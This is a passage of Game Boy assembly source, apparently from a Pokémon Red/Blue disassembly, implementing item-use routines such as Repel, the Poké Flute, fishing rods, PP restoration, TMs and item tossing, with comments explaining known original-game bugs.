CEMETERY, CAVERN, FACILITY, INTERIOR db $ff ; terminator ItemUseRepel: ld b, 100 ItemUseRepelCommon: ld a, [wIsInBattle] and a jp nz, ItemUseNotTime ld a, b ld [wRepelRemainingSteps], a jp PrintItemUseTextAndRemoveItem ; handles X Accuracy item ItemUseXAccuracy: ld a, [wIsInBattle] and a jp z, ItemUseNotTime ld hl, wPlayerBattleStatus2 set USING_X_ACCURACY, [hl] ; X Accuracy bit jp PrintItemUseTextAndRemoveItem ; This function is bugged and never works. It always jumps to ItemUseNotTime. ; The Card Key is handled in a different way. ItemUseCardKey: xor a ld [wUnusedD71F], a call GetTileAndCoordsInFrontOfPlayer ld a, [GetTileAndCoordsInFrontOfPlayer] cp $18 jr nz, .next0 ld hl, CardKeyTable1 jr .next1 .next0 cp $24 jr nz, .next2 ld hl, CardKeyTable2 jr .next1 .next2 cp $5e jp nz, ItemUseNotTime ld hl, CardKeyTable3 .next1 ld a, [wCurMap] ld b, a .loop ld a, [hli] cp $ff jp z, ItemUseNotTime cp b jr nz, .nextEntry1 ld a, [hli] cp d jr nz, .nextEntry2 ld a, [hli] cp e jr nz, .nextEntry3 ld a, [hl] ld [wUnusedD71F], a jr .done .nextEntry1 inc hl .nextEntry2 inc hl .nextEntry3 inc hl jr .loop .done ld hl, ItemUseText00 call PrintText ld hl, wd728 set 7, [hl] ret ; These tables are probably supposed to be door locations in Silph Co., ; but they are unused. ; The reason there are 3 tables is unknown. ; Format: ; 00: Map ID ; 01: Y ; 02: X ; 03: ID? CardKeyTable1: db SILPH_CO_2F,$04,$04,$00 db SILPH_CO_2F,$04,$05,$01 db SILPH_CO_4F,$0C,$04,$02 db SILPH_CO_4F,$0C,$05,$03 db SILPH_CO_7F,$06,$0A,$04 db SILPH_CO_7F,$06,$0B,$05 db SILPH_CO_9F,$04,$12,$06 db SILPH_CO_9F,$04,$13,$07 db SILPH_CO_10F,$08,$0A,$08 db SILPH_CO_10F,$08,$0B,$09 db $ff CardKeyTable2: db SILPH_CO_3F,$08,$09,$0A db SILPH_CO_3F,$09,$09,$0B db SILPH_CO_5F,$04,$07,$0C db SILPH_CO_5F,$05,$07,$0D db SILPH_CO_6F,$0C,$05,$0E db SILPH_CO_6F,$0D,$05,$0F db SILPH_CO_8F,$08,$07,$10 db SILPH_CO_8F,$09,$07,$11 db SILPH_CO_9F,$08,$03,$12 db SILPH_CO_9F,$09,$03,$13 db $ff CardKeyTable3: db SILPH_CO_11F,$08,$09,$14 db SILPH_CO_11F,$09,$09,$15 db $ff ItemUsePokedoll: ld a, [wIsInBattle] dec a jp nz, ItemUseNotTime ld a, $01 ld [wEscapedFromBattle], a jp PrintItemUseTextAndRemoveItem ItemUseGuardSpec: ld a, [wIsInBattle] and a jp z, ItemUseNotTime ld hl, wPlayerBattleStatus2 set PROTECTED_BY_MIST, [hl] ; Mist bit jp PrintItemUseTextAndRemoveItem ItemUseSuperRepel: ld b, 200 jp ItemUseRepelCommon ItemUseMaxRepel: ld b, 250 jp ItemUseRepelCommon ItemUseDireHit: ld a, [wIsInBattle] and a jp z, ItemUseNotTime ld hl, wPlayerBattleStatus2 set GETTING_PUMPED, [hl] ; Focus Energy bit jp PrintItemUseTextAndRemoveItem ItemUseXStat: ld a, [wIsInBattle] and a jr nz, .inBattle call ItemUseNotTime ld a, 2 ld [wActionResultOrTookBattleTurn], a ; item not used ret .inBattle ld hl, wPlayerMoveNum ld a, [hli] push af ; save [wPlayerMoveNum] ld a, [hl] push af ; save [wPlayerMoveEffect] push hl ld a, [wcf91] sub X_ATTACK - ATTACK_UP1_EFFECT ld [hl], a ; store player move effect call PrintItemUseTextAndRemoveItem ld a, XSTATITEM_ANIM ; X stat item animation ID ld [wPlayerMoveNum], a call LoadScreenTilesFromBuffer1 ; restore saved screen call Delay3 xor a ld [H_WHOSETURN], a ; set turn to player's turn callba StatModifierUpEffect ; do stat increase move pop hl pop af ld [hld], a ; restore [wPlayerMoveEffect] pop af ld [hl], a ; restore [wPlayerMoveNum] ret ItemUsePokeflute: ld a, [wIsInBattle] and a jr nz, .inBattle ; if not in battle call ItemUseReloadOverworldData ld a, [wCurMap] cp ROUTE_12 jr nz, .notRoute12 CheckEvent EVENT_BEAT_ROUTE12_SNORLAX jr nz, .noSnorlaxToWakeUp ; if the player hasn't beaten Route 12 Snorlax ld hl, Route12SnorlaxFluteCoords call ArePlayerCoordsInArray jr nc, .noSnorlaxToWakeUp ld hl, PlayedFluteHadEffectText call PrintText SetEvent EVENT_FIGHT_ROUTE12_SNORLAX ret .notRoute12 cp ROUTE_16 jr nz, .noSnorlaxToWakeUp CheckEvent EVENT_BEAT_ROUTE16_SNORLAX jr nz, .noSnorlaxToWakeUp ; if the player hasn't beaten Route 16 Snorlax ld hl, Route16SnorlaxFluteCoords call ArePlayerCoordsInArray jr nc, .noSnorlaxToWakeUp ld hl, PlayedFluteHadEffectText call PrintText SetEvent EVENT_FIGHT_ROUTE16_SNORLAX ret .noSnorlaxToWakeUp ld hl, PlayedFluteNoEffectText jp PrintText .inBattle xor a ld [wWereAnyMonsAsleep], a ld b, ~SLP & $ff ld hl, wPartyMon1Status call WakeUpEntireParty ld a, [wIsInBattle] dec a ; is it a trainer battle? jr z, .skipWakingUpEnemyParty ; if it's a trainer battle ld hl, wEnemyMon1Status call WakeUpEntireParty .skipWakingUpEnemyParty ld hl, wBattleMonStatus ld a, [hl] and b ; remove Sleep status ld [hl], a ld hl, wEnemyMonStatus ld a, [hl] and b ; remove Sleep status ld [hl], a call LoadScreenTilesFromBuffer2 ; restore saved screen ld a, [wWereAnyMonsAsleep] and a ; were any pokemon asleep before playing the flute? ld hl, PlayedFluteNoEffectText jp z, PrintText ; if no pokemon were asleep ; if some pokemon were asleep ld hl, PlayedFluteHadEffectText call PrintText ld a, [wLowHealthAlarm] and $80 jr nz, .skipMusic call WaitForSoundToFinish ; wait for sound to end callba Music_PokeFluteInBattle ; play in-battle pokeflute music .musicWaitLoop ; wait for music to finish playing ld a, [wChannelSoundIDs + Ch6] and a ; music off? jr nz, .musicWaitLoop .skipMusic ld hl, FluteWokeUpText jp PrintText ; wakes up all party pokemon ; INPUT: ; hl must point to status of first pokemon in party (player's or enemy's) ; b must equal ~SLP ; [wWereAnyMonsAsleep] should be initialized to 0 ; OUTPUT: ; [wWereAnyMonsAsleep]: set to 1 if any pokemon were asleep WakeUpEntireParty: ld de, 44 ld c, 6 .loop ld a, [hl] push af and SLP ; is pokemon asleep? jr z, .notAsleep ld a, 1 ld [wWereAnyMonsAsleep], a ; indicate that a pokemon had to be woken up .notAsleep pop af and b ; remove Sleep status ld [hl], a add hl, de dec c jr nz, .loop ret ; Format: ; 00: Y ; 01: X Route12SnorlaxFluteCoords: db 62,9 ; one space West of Snorlax db 61,10 ; one space North of Snorlax db 63,10 ; one space South of Snorlax db 62,11 ; one space East of Snorlax db $ff ; terminator ; Format: ; 00: Y ; 01: X Route16SnorlaxFluteCoords: db 10,27 ; one space East of Snorlax db 10,25 ; one space West of Snorlax db $ff ; terminator PlayedFluteNoEffectText: TX_FAR _PlayedFluteNoEffectText db "@" FluteWokeUpText: TX_FAR _FluteWokeUpText db "@" PlayedFluteHadEffectText: TX_FAR _PlayedFluteHadEffectText TX_BLINK TX_ASM ld a, [wIsInBattle] and a jr nz, .done ; play out-of-battle pokeflute music ld a, $ff call PlaySound ; turn off music ld a, SFX_POKEFLUTE ld c, BANK(SFX_Pokeflute) call PlayMusic .musicWaitLoop ; wait for music to finish playing ld a, [wChannelSoundIDs + Ch2] cp SFX_POKEFLUTE jr z, .musicWaitLoop call PlayDefaultMusic ; start playing normal music again .done jp TextScriptEnd ; end text ItemUseCoinCase: ld a, [wIsInBattle] and a jp nz, ItemUseNotTime ld hl, CoinCaseNumCoinsText jp PrintText CoinCaseNumCoinsText: TX_FAR _CoinCaseNumCoinsText db "@" ItemUseOldRod: call FishingInit jp c, ItemUseNotTime lb bc, 5, MAGIKARP ld a, $1 ; set bite jr RodResponse ItemUseGoodRod: call FishingInit jp c, ItemUseNotTime .RandomLoop call Random srl a jr c, .SetBite and %11 cp 2 jr nc, .RandomLoop ; choose which monster appears ld hl, GoodRodMons add a ld c, a ld b, 0 add hl, bc ld b, [hl] inc hl ld c, [hl] and a .SetBite ld a, 0 rla xor 1 jr RodResponse INCLUDE "data/good_rod.asm" ItemUseSuperRod: call FishingInit jp c, ItemUseNotTime call ReadSuperRodData ld a, e RodResponse: ld [wRodResponse], a dec a ; is there a bite? jr nz, .next ; if yes, store level and species data ld a, 1 ld [wMoveMissed], a ld a, b ; level ld [wCurEnemyLVL], a ld a, c ; species ld [wCurOpponent], a .next ld hl, wWalkBikeSurfState ld a, [hl] ; store the value in a push af push hl ld [hl], 0 callba FishingAnim pop hl pop af ld [hl], a ret ; checks if fishing is possible and if so, runs initialization code common to all rods ; unsets carry if fishing is possible, sets carry if not FishingInit: ld a, [wIsInBattle] and a jr z, .notInBattle scf ; can't fish during battle ret .notInBattle call IsNextTileShoreOrWater ret c ld a, [wWalkBikeSurfState] cp 2 ; Surfing? jr z, .surfing call ItemUseReloadOverworldData ld hl, ItemUseText00 call PrintText ld a, SFX_HEAL_AILMENT call PlaySound ld c, 80 call DelayFrames and a ret .surfing scf ; can't fish when surfing ret ItemUseOaksParcel: jp ItemUseNotYoursToUse ItemUseItemfinder: ld a, [wIsInBattle] and a jp nz, ItemUseNotTime call ItemUseReloadOverworldData callba HiddenItemNear ; check for hidden items ld hl, ItemfinderFoundNothingText jr nc, .printText ; if no hidden items ld c, 4 .loop ld a, SFX_HEALING_MACHINE call PlaySoundWaitForCurrent ld a, SFX_PURCHASE call PlaySoundWaitForCurrent dec c jr nz, .loop ld hl, ItemfinderFoundItemText .printText jp PrintText ItemfinderFoundItemText: TX_FAR _ItemfinderFoundItemText db "@" ItemfinderFoundNothingText: TX_FAR _ItemfinderFoundNothingText db "@" ItemUsePPUp: ld a, [wIsInBattle] and a jp nz, ItemUseNotTime ItemUsePPRestore: ld a, [wWhichPokemon] push af ld a, [wcf91] ld [wPPRestoreItem], a .chooseMon xor a ld [wUpdateSpritesEnabled], a ld a, USE_ITEM_PARTY_MENU ld [wPartyMenuTypeOrMessageID], a call DisplayPartyMenu jr nc, .chooseMove jp .itemNotUsed .chooseMove ld a, [wPPRestoreItem] cp ELIXER jp nc, .useElixir ; if Elixir or Max Elixir ld a, $02 ld [wMoveMenuType], a ld hl, RaisePPWhichTechniqueText ld a, [wPPRestoreItem] cp ETHER ; is it a PP Up? jr c, .printWhichTechniqueMessage ; if so, print the raise PP message ld hl, RestorePPWhichTechniqueText ; otherwise, print the restore PP message .printWhichTechniqueMessage call PrintText xor a ld [wPlayerMoveListIndex], a callab MoveSelectionMenu ; move selection menu ld a, 0 ld [wPlayerMoveListIndex], a jr nz, .chooseMon ld hl, wPartyMon1Moves ld bc, wPartyMon2 - wPartyMon1 call GetSelectedMoveOffset push hl ld a, [hl] ld [wd11e], a call GetMoveName call CopyStringToCF4B ; copy name to wcf4b pop hl ld a, [wPPRestoreItem] cp ETHER jr nc, .useEther ; if Ether or Max Ether .usePPUp ld bc, wPartyMon1PP - wPartyMon1Moves add hl, bc ld a, [hl] ; move PP cp 3 << 6 ; have 3 PP Ups already been used? jr c, .PPNotMaxedOut ld hl, PPMaxedOutText call PrintText jr .chooseMove .PPNotMaxedOut ld a, [hl] add 1 << 6 ; increase PP Up count by 1 ld [hl], a ld a, 1 ; 1 PP Up used ld [wd11e], a call RestoreBonusPP ; add the bonus PP to current PP ld hl, PPIncreasedText call PrintText .done pop af ld [wWhichPokemon], a call GBPalWhiteOut call RunDefaultPaletteCommand jp RemoveUsedItem .afterRestoringPP ; after using a (Max) Ether/Elixir ld a, [wWhichPokemon] ld b, a ld a, [wPlayerMonNumber] cp b ; is the pokemon whose PP was restored active in battle? jr nz, .skipUpdatingInBattleData ld hl, wPartyMon1PP ld bc, wPartyMon2 - wPartyMon1 call AddNTimes ld de, wBattleMonPP ld bc, 4 call CopyData ; copy party data to in-battle data .skipUpdatingInBattleData ld a, SFX_HEAL_AILMENT call PlaySound ld hl, PPRestoredText call PrintText jr .done .useEther call .restorePP jr nz, .afterRestoringPP jp .noEffect ; unsets zero flag if PP was restored, sets zero flag if not ; however, this is bugged for Max Ethers and Max Elixirs (see below) .restorePP xor a ; PLAYER_PARTY_DATA ld [wMonDataLocation], a call GetMaxPP ld hl, wPartyMon1Moves ld bc, wPartyMon2 - wPartyMon1 call GetSelectedMoveOffset ld bc, wPartyMon1PP - wPartyMon1Moves add hl, bc ; hl now points to move's PP ld a, [wMaxPP] ld b, a ld a, [wPPRestoreItem] cp MAX_ETHER jr z, .fullyRestorePP ld a, [hl] ; move PP and %00111111 ; lower 6 bit bits store current PP cp b ; does current PP equal max PP? ret z ; if so, return add 10 ; increase current PP by 10 ; b holds the max PP amount and b will hold the new PP amount. ; So, if the new amount meets or exceeds the max amount, ; cap the amount to the max amount by leaving b unchanged. ; Otherwise, store the new amount in b. cp b ; does the new amount meet or exceed the maximum? jr nc, .storeNewAmount ld b, a .storeNewAmount ld a, [hl] ; move PP and %11000000 ; PP Up counter bits add b ld [hl], a ret .fullyRestorePP ld a, [hl] ; move PP ; Note that this code has a bug. It doesn't mask out the upper two bits, which ; are used to count how many PP Ups have been used on the move. So, Max Ethers ; and Max Elixirs will not be detected as having no effect on a move with full ; PP if the move has had any PP Ups used on it. cp b ; does current PP equal max PP? ret z jr .storeNewAmount .useElixir ; decrement the item ID so that ELIXER becomes ETHER and MAX_ELIXER becomes MAX_ETHER ld hl, wPPRestoreItem dec [hl] dec [hl] xor a ld hl, wCurrentMenuItem ld [hli], a ld [hl], a ; zero the counter for number of moves that had their PP restored ld b, 4 ; loop through each move and restore PP .elixirLoop push bc ld hl, wPartyMon1Moves ld bc, wPartyMon2 - wPartyMon1 call GetSelectedMoveOffset ld a, [hl] and a ; does the current slot have a move? jr z, .nextMove call .restorePP jr z, .nextMove ; if some PP was restored ld hl, wTileBehindCursor ; counter for number of moves that had their PP restored inc [hl] .nextMove ld hl, wCurrentMenuItem inc [hl] pop bc dec b jr nz, .elixirLoop ld a, [wTileBehindCursor] and a ; did any moves have their PP restored? jp nz, .afterRestoringPP .noEffect call ItemUseNoEffect .itemNotUsed call GBPalWhiteOut call RunDefaultPaletteCommand pop af xor a ld [wActionResultOrTookBattleTurn], a ; item use failed ret RaisePPWhichTechniqueText: TX_FAR _RaisePPWhichTechniqueText db "@" RestorePPWhichTechniqueText: TX_FAR _RestorePPWhichTechniqueText db "@" PPMaxedOutText: TX_FAR _PPMaxedOutText db "@" PPIncreasedText: TX_FAR _PPIncreasedText db "@" PPRestoredText: TX_FAR _PPRestoredText db "@" ; for items that can't be used from the Item menu UnusableItem: jp ItemUseNotTime ItemUseTMHM: ld a, [wIsInBattle] and a jp nz, ItemUseNotTime ld a, [wcf91] sub TM_01 push af jr nc, .skipAdding add 55 ; if item is an HM, add 55 .skipAdding inc a ld [wd11e], a predef TMToMove ; get move ID from TM/HM ID ld a, [wd11e] ld [wMoveNum], a call GetMoveName call CopyStringToCF4B ; copy name to wcf4b pop af ld hl, BootedUpTMText jr nc, .printBootedUpMachineText ld hl, BootedUpHMText .printBootedUpMachineText call PrintText ld hl, TeachMachineMoveText call PrintText coord hl, 14, 7 lb bc, 8, 15 ld a, TWO_OPTION_MENU ld [wTextBoxID], a call DisplayTextBoxID ; yes/no menu ld a, [wCurrentMenuItem] and a jr z, .useMachine ld a, 2 ld [wActionResultOrTookBattleTurn], a ; item not used ret .useMachine ld a, [wWhichPokemon] push af ld a, [wcf91] push af .chooseMon ld hl, wcf4b ld de, wTempMoveNameBuffer ld bc, 14 call CopyData ; save the move name because DisplayPartyMenu will overwrite it ld a, $ff ld [wUpdateSpritesEnabled], a ld a, TMHM_PARTY_MENU ld [wPartyMenuTypeOrMessageID], a call DisplayPartyMenu push af ld hl, wTempMoveNameBuffer ld de, wcf4b ld bc, 14 call CopyData pop af jr nc, .checkIfAbleToLearnMove ; if the player canceled teaching the move pop af pop af call GBPalWhiteOutWithDelay3 call ClearSprites call RunDefaultPaletteCommand jp LoadScreenTilesFromBuffer1 ; restore saved screen .checkIfAbleToLearnMove predef CanLearnTM ; check if the pokemon can learn the move push bc ld a, [wWhichPokemon] ld hl, wPartyMonNicks call GetPartyMonName pop bc ld a, c and a ; can the pokemon learn the move? jr nz, .checkIfAlreadyLearnedMove ; if the pokemon can't learn the move ld a, SFX_DENIED call PlaySoundWaitForCurrent ld hl, MonCannotLearnMachineMoveText call PrintText jr .chooseMon .checkIfAlreadyLearnedMove callab CheckIfMoveIsKnown ; check if the pokemon already knows the move jr c, .chooseMon predef LearnMove ; teach move pop af ld [wcf91], a pop af ld [wWhichPokemon], a ld a, b and a ret z ld a, [wcf91] call IsItemHM ret c jp RemoveUsedItem BootedUpTMText: TX_FAR _BootedUpTMText db "@" BootedUpHMText: TX_FAR _BootedUpHMText db "@" TeachMachineMoveText: TX_FAR _TeachMachineMoveText db "@" MonCannotLearnMachineMoveText: TX_FAR _MonCannotLearnMachineMoveText db "@" PrintItemUseTextAndRemoveItem: ld hl, ItemUseText00 call PrintText ld a, SFX_HEAL_AILMENT call PlaySound call WaitForTextScrollButtonPress ; wait for button press RemoveUsedItem: ld hl, wNumBagItems ld a, 1 ; one item ld [wItemQuantity], a jp RemoveItemFromInventory ItemUseNoEffect: ld hl, ItemUseNoEffectText jr ItemUseFailed ItemUseNotTime: ld hl, ItemUseNotTimeText jr ItemUseFailed ItemUseNotYoursToUse: ld hl, ItemUseNotYoursToUseText jr ItemUseFailed ThrowBallAtTrainerMon: call RunDefaultPaletteCommand call LoadScreenTilesFromBuffer1 ; restore saved screen call Delay3 ld a, TOSS_ANIM ld [wAnimationID], a predef MoveAnimation ; do animation ld hl, ThrowBallAtTrainerMonText1 call PrintText ld hl, ThrowBallAtTrainerMonText2 call PrintText jr RemoveUsedItem NoCyclingAllowedHere: ld hl, NoCyclingAllowedHereText jr ItemUseFailed BoxFullCannotThrowBall: ld hl, BoxFullCannotThrowBallText jr ItemUseFailed SurfingAttemptFailed: ld hl, NoSurfingHereText ItemUseFailed: xor a ld [wActionResultOrTookBattleTurn], a ; item use failed jp PrintText ItemUseNotTimeText: TX_FAR _ItemUseNotTimeText db "@" ItemUseNotYoursToUseText: TX_FAR _ItemUseNotYoursToUseText db "@" ItemUseNoEffectText: TX_FAR _ItemUseNoEffectText db "@" ThrowBallAtTrainerMonText1: TX_FAR _ThrowBallAtTrainerMonText1 db "@" ThrowBallAtTrainerMonText2: TX_FAR _ThrowBallAtTrainerMonText2 db "@" NoCyclingAllowedHereText: TX_FAR _NoCyclingAllowedHereText db "@" NoSurfingHereText: TX_FAR _NoSurfingHereText db "@" BoxFullCannotThrowBallText: TX_FAR _BoxFullCannotThrowBallText db "@" ItemUseText00: TX_FAR _ItemUseText001 TX_LINE TX_FAR _ItemUseText002 db "@" GotOnBicycleText: TX_FAR _GotOnBicycleText1 TX_LINE TX_FAR _GotOnBicycleText2 db "@" GotOffBicycleText: TX_FAR _GotOffBicycleText1 TX_LINE TX_FAR _GotOffBicycleText2 db "@" ; restores bonus PP (from PP Ups) when healing at a pokemon center ; also, when a PP Up is used, it increases the current PP by one PP Up bonus ; INPUT: ; [wWhichPokemon] = index of pokemon in party ; [wCurrentMenuItem] = index of move (when using a PP Up) RestoreBonusPP: ld hl, wPartyMon1Moves ld bc, wPartyMon2 - wPartyMon1 ld a, [wWhichPokemon] call AddNTimes push hl ld de, wNormalMaxPPList - 1 predef LoadMovePPs ; loads the normal max PP of each of the pokemon's moves to wNormalMaxPPList pop hl ld c, wPartyMon1PP - wPartyMon1Moves ld b, 0 add hl, bc ; hl now points to move 1 PP ld de, wNormalMaxPPList ld b, 0 ; initialize move counter to zero ; loop through the pokemon's moves .loop inc b ld a, b cp 5 ; reached the end of the pokemon's moves? ret z ; if so, return ld a, [wUsingPPUp] dec a ; using a PP Up? jr nz, .skipMenuItemIDCheck ; if using a PP Up, check if this is the move it's being used on ld a, [wCurrentMenuItem] inc a cp b jr nz, .nextMove .skipMenuItemIDCheck ld a, [hl] and %11000000 ; have any PP Ups been used? call nz, AddBonusPP ; if so, add bonus PP .nextMove inc hl inc de jr .loop ; adds bonus PP from PP Ups to current PP ; 1/5 of normal max PP (capped at 7) is added for each PP Up ; INPUT: ; [de] = normal max PP ; [hl] = move PP AddBonusPP: push bc ld a, [de] ; normal max PP of move ld [H_DIVIDEND + 3], a xor a ld [H_DIVIDEND], a ld [H_DIVIDEND + 1], a ld [H_DIVIDEND + 2], a ld a, 5 ld [H_DIVISOR], a ld b, 4 call Divide ld a, [hl] ; move PP ld b, a swap a and %00001111 srl a srl a ld c, a ; c = number of PP Ups used .loop ld a, [H_QUOTIENT + 3] cp 8 ; is the amount greater than or equal to 8? jr c, .addAmount ld a, 7 ; cap the amount at 7 .addAmount add b ld b, a ld a, [wUsingPPUp] dec a ; is the player using a PP Up right now? jr z, .done ; if so, only add the bonus once dec c jr nz, .loop .done ld [hl], b pop bc ret ; gets max PP of a pokemon's move (including PP from PP Ups) ; INPUT: ; [wWhichPokemon] = index of pokemon within party/box ; [wMonDataLocation] = pokemon source ; 00: player's party ; 01: enemy's party ; 02: current box ; 03: daycare ; 04: player's in-battle pokemon ; [wCurrentMenuItem] = move index ; OUTPUT: ; [wMaxPP] = max PP GetMaxPP: ld a, [wMonDataLocation] and a ld hl, wPartyMon1Moves ld bc, wPartyMon2 - wPartyMon1 jr z, .sourceWithMultipleMon ld hl, wEnemyMon1Moves dec a jr z, .sourceWithMultipleMon ld hl, wBoxMon1Moves ld bc, wBoxMon2 - wBoxMon1 dec a jr z, .sourceWithMultipleMon ld hl, wDayCareMonMoves dec a jr z, .sourceWithOneMon ld hl, wBattleMonMoves ; player's in-battle pokemon .sourceWithOneMon call GetSelectedMoveOffset2 jr .next .sourceWithMultipleMon call GetSelectedMoveOffset .next ld a, [hl] dec a push hl ld hl, Moves ld bc, MoveEnd - Moves call AddNTimes ld de, wcd6d ld a, BANK(Moves) call FarCopyData ld de, wcd6d + 5 ; PP is byte 5 of move data ld a, [de] ld b, a ; b = normal max PP pop hl push bc ld bc, wPartyMon1PP - wPartyMon1Moves ; PP offset if not player's in-battle pokemon data ld a, [wMonDataLocation] cp 4 ; player's in-battle pokemon? jr nz, .addPPOffset ld bc, wBattleMonPP - wBattleMonMoves ; PP offset if player's in-battle pokemon data .addPPOffset add hl, bc ld a, [hl] ; a = current PP and %11000000 ; get PP Up count pop bc or b ; place normal max PP in 6 lower bits of a ld h, d ld l, e inc hl ; hl = wcd73 ld [hl], a xor a ; add the bonus for the existing PP Up count ld [wUsingPPUp], a call AddBonusPP ; add bonus PP from PP Ups ld a, [hl] and %00111111 ; mask out the PP Up count ld [wMaxPP], a ; store max PP ret GetSelectedMoveOffset: ld a, [wWhichPokemon] call AddNTimes GetSelectedMoveOffset2: ld a, [wCurrentMenuItem] ld c, a ld b, 0 add hl, bc ret ; confirms the item toss and then tosses the item ; INPUT: ; hl = address of inventory (either wNumBagItems or wNumBoxItems) ; [wcf91] = item ID ; [wWhichPokemon] = index of item within inventory ; [wItemQuantity] = quantity to toss ; OUTPUT: ; clears carry flag if the item is tossed, sets carry flag if not TossItem_: push hl ld a, [wcf91] call IsItemHM pop hl jr c, .tooImportantToToss push hl call IsKeyItem_ ld a, [wIsKeyItem] pop hl and a jr nz, .tooImportantToToss push hl ld a, [wcf91] ld [wd11e], a call GetItemName call CopyStringToCF4B ; copy name to wcf4b ld hl, IsItOKToTossItemText call PrintText coord hl, 14, 7 lb bc, 8, 15 ld a, TWO_OPTION_MENU ld [wTextBoxID], a call DisplayTextBoxID ; yes/no menu ld a, [wMenuExitMethod] cp CHOSE_SECOND_ITEM pop hl scf ret z ; return if the player chose No ; if the player chose Yes push hl ld a, [wWhichPokemon] call RemoveItemFromInventory ld a, [wcf91] ld [wd11e], a call GetItemName call CopyStringToCF4B ; copy name to wcf4b ld hl, ThrewAwayItemText call PrintText pop hl and a ret .tooImportantToToss push hl ld hl, TooImportantToTossText call PrintText pop hl scf ret ThrewAwayItemText: TX_FAR _ThrewAwayItemText db "@" IsItOKToTossItemText: TX_FAR _IsItOKToTossItemText db "@" TooImportantToTossText: TX_FAR _TooImportantToTossText db "@" ; checks if an item is a key item ; INPUT: ; [wcf91] = item ID ; OUTPUT: ; [wIsKeyItem] = result ; 00: item is not key item ; 01: item is key item IsKeyItem_: ld a, $01 ld [wIsKeyItem], a ld a, [wcf91] cp HM_01 ; is the item an HM or TM? jr nc, .checkIfItemIsHM ; if the item is not an HM or TM push af ld hl, KeyItemBitfield ld de, wBuffer ld bc, 15 ; only 11 bytes are actually used call CopyData pop af dec a ld c, a ld hl, wBuffer ld b, FLAG_TEST predef FlagActionPredef ld a, c and a ret nz .checkIfItemIsHM ld a, [wcf91] call IsItemHM ret c xor a ld [wIsKeyItem], a ret INCLUDE "data/key_items.asm" SendNewMonToBox: ld de, wNumInBox ld a, [de] inc a ld [de], a ld a, [wcf91] ld [wd0b5], a ld c, a .asm_e7b1 inc de ld a, [de] ld b, a ld a, c ld c, b ld [de], a cp $ff jr nz, .asm_e7b1 call GetMonHeader ld hl, wBoxMonOT ld bc, NAME_LENGTH ld a, [wNumInBox] dec a jr z, .asm_e7ee dec a call AddNTimes push hl ld bc, NAME_LENGTH add hl, bc ld d, h ld e, l pop hl ld a, [wNumInBox] dec a ld b, a .asm_e7db push bc push hl ld bc, NAME_LENGTH call CopyData pop hl ld d, h ld e, l ld bc, -NAME_LENGTH add hl, bc pop bc dec b jr nz, .asm_e7db .asm_e7ee ld hl, wPlayerName ld de, wBoxMonOT ld bc, NAME_LENGTH call CopyData ld a, [wNumInBox] dec a jr z, .asm_e82a ld hl, wBoxMonNicks ld bc, NAME_LENGTH dec a call AddNTimes push hl ld bc, NAME_LENGTH add hl, bc ld d, h ld e, l pop hl ld a, [wNumInBox] dec a ld b, a .asm_e817 push bc push hl ld bc, NAME_LENGTH call CopyData pop hl ld d, h ld e, l ld bc, -NAME_LENGTH add hl, bc pop bc dec b jr nz, .asm_e817 .asm_e82a ld hl, wBoxMonNicks ld a, NAME_MON_SCREEN ld [wNamingScreenType], a predef AskName ld a, [wNumInBox] dec a jr z, .asm_e867 ld hl, wBoxMons ld bc, wBoxMon2 - wBoxMon1 dec a call AddNTimes push hl ld bc, wBoxMon2 - wBoxMon1 add hl, bc ld d, h ld e, l pop hl ld a, [wNumInBox] dec a ld b, a .asm_e854 push bc push hl ld bc, wBoxMon2 - wBoxMon1 call CopyData pop hl ld d, h ld e, l ld bc, wBoxMon1 - wBoxMon2 add hl, bc pop bc dec b jr nz, .asm_e854 .asm_e867 ld a, [wEnemyMonLevel] ld [wEnemyMonBoxLevel], a ld hl, wEnemyMon ld de, wBoxMon1 ld bc, wEnemyMonDVs - wEnemyMon call CopyData ld hl, wPlayerID ld a, [hli] ld [de], a inc de ld a, [hl] ld [de], a inc de push de ld a, [wCurEnemyLVL] ld d, a callab CalcExperience pop de ld a, [hExperience] ld [de], a inc de ld a, [hExperience + 1] ld [de], a inc de ld a, [hExperience + 2] ld [de], a inc de xor a ld b, NUM_STATS * 2 .asm_e89f ld [de], a inc de dec b jr nz, .asm_e89f ld hl, wEnemyMonDVs ld a, [hli] ld [de], a inc de ld a, [hli] ld [de], a ld hl, wEnemyMonPP ld b, NUM_MOVES .asm_e8b1 ld a, [hli] inc de ld [de], a dec b jr nz, .asm_e8b1 ret ; checks if the tile in front of the player is a shore or water tile ; used for surfing and fishing ; unsets carry if it is, sets carry if not IsNextTileShoreOrWater: ld a, [wCurMapTileset] ld hl, WaterTilesets ld de, 1 call IsInArray jr nc, .notShoreOrWater ld a, [wCurMapTileset] cp SHIP_PORT ; Vermilion Dock tileset ld a, [wTileInFrontOfPlayer] ; tile in front of player jr z, .skipShoreTiles ; if it's the Vermilion Dock tileset cp $48 ; eastern shore tile in Safari Zone jr z, .shoreOrWater cp $32 ; usual eastern shore tile jr z, .shoreOrWater .skipShoreTiles cp $14 ; water tile jr z, .shoreOrWater .notShoreOrWater scf ret .shoreOrWater and a ret ; tilesets with water WaterTilesets: db OVERWORLD, FOREST, DOJO, GYM, SHIP, SHIP_PORT, CAVERN, FACILITY, PLATEAU db $ff ; terminator ReadSuperRodData: ; return e = 2 if no fish on this map ; return e = 1 if a bite, bc = level,species ; return e = 0 if no bite ld a, [wCurMap] ld de, 3 ; each fishing group is three bytes wide ld hl, SuperRodData call IsInArray jr c, .ReadFishingGroup ld e, $2 ; $2 if no fishing groups found ret .ReadFishingGroup ; hl points to the fishing group entry in the index inc hl ; skip map id ; read fishing group address ld a, [hli] ld h, [hl] ld l, a ld b, [hl] ; how many mons in group inc hl ; point to data ld e, $0 ; no bite yet .RandomLoop call Random srl a ret c ; 50% chance of no battle and %11 ; 2-bit random number cp b jr nc, .RandomLoop ; if a is greater than the number of mons, regenerate ; get the mon add a ld c, a ld b, $0 add hl, bc ld b, [hl] ; level inc hl ld c, [hl] ; species ld e, $1 ; $1 if there's a bite ret INCLUDE "data/super_rod.asm" ; reloads map view and processes sprite data ; for items that cause the overworld to be displayed ItemUseReloadOverworldData: call LoadCurrentMapView jp UpdateSprites ; creates a list at wBuffer of maps where the mon in [wd11e] can be found. ; this is used by the pokedex to display locations the mon can be found on the map. FindWildLocationsOfMon: ld hl, WildDataPointers ld de, wBuffer ld c, $0 .loop inc hl ld a, [hld] inc a jr z, .done push hl ld a, [hli] ld h, [hl] ld l, a ld a, [hli] and a call nz, CheckMapForMon ; land ld a, [hli] and a call nz, CheckMapForMon ; water pop hl inc hl inc hl inc c jr .loop .done ld a, $ff ; list 